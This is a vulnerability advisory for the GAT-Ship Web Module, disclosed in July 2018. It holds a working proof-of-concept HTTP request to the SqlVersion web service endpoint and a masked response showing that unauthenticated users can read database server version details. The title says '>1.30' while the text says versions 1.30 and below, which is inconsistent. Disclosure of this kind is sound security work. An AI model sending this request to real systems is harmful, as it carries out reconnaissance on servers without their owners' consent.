GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability
It is possible in versions 1.30 and below for unauthenticated attackers to query the GAT-Ship Web Module for system information via a crafted request:
PoC:
---------------------------------------------------------------------------------------------------------------------------------------
POST /ws/gatshipWs.asmx/SqlVersion <http://gatshipWs.asmx/SqlVersion> HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 2
DNT: 1
Connection: close
{}
--------------------------------------------------------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/X.X
X-AspNet-Version: X.X.XXXXX
X-Powered-By: ASP.NET
Date: Mon, XX XXX 20XX 06:55:31 GMT
Connection: close
Content-Length: 310
{"d":{"__type":"webModule.ws.gatshipWs+ResponsObject","ResponsType":0,"MessageText":null,"Data":"Microsoft SQL Server 20XX (SPX) - XX.X.XXXX.X (X64) \n\tDec 28 20XX 20:23:12 \n\tCopyright (c) Microsoft Corporation\n\tStandard Edition (64-bit) on Windows XX XX \u003cX64\u003e (Build XXXX: Service Pack X)\n"}}
===================================================================================
Values in PoC removed for security reasons.
Disclosed: 16 Jul 2018
Fix: Upgrade to current version.
Discovered by Gionathan Armando Reale